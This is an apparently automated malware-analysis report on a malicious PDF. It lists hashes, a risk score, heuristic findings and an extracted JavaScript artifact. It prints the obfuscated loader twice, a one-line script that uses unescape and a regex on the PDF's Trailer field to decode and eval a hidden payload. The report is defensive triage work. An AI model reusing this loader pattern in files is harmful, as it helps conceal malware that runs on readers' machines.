PDF / .PHP malware analysis — malicious · f3edac2a06a4157e

MALICIOUS

PDF / .PHP

4.6 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad) First seen: 2026-05-10

MD5: 560a89d8c4412b0c1044880318155c47 SHA-1: 49006bd978890201cce7466fe474c97296766990 SHA-256: f3edac2a06a4157edbce59a3c784a09e06b50eeaf170524b24d4e8b0e46c8d10

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), a common technique for obfuscating malicious JavaScript. The extracted JavaScript object, javascript_obj0006_000.js, likely contains code to download and execute a secondary payload. The authoring application being Notepad suggests manual manipulation of the PDF structure.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
bdq2=24;if(app)bdq2='';D311=this;I8o=unescape;m0wZ=D311.info;bdq2=I8o('%'+bdq2);fxfa9=m0wZ.Trailer.replace(/([A-Z])/g,bdq2);eval(I8o(fxfa9))
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0006_000.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0xFC4	140 bytes
SHA-256: `76985b8ac5ec501b9956e6794029585d20615ca20fcdf38ddbe46863f5b5b6cd`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script bdq2=24;if(app)bdq2='';D311=this;I8o=unescape;m0wZ=D311.info;bdq2=I8o('%'+bdq2);fxfa9=m0wZ.Trailer.replace(/([A-Z])/g,bdq2);eval(I8o(fxfa9))

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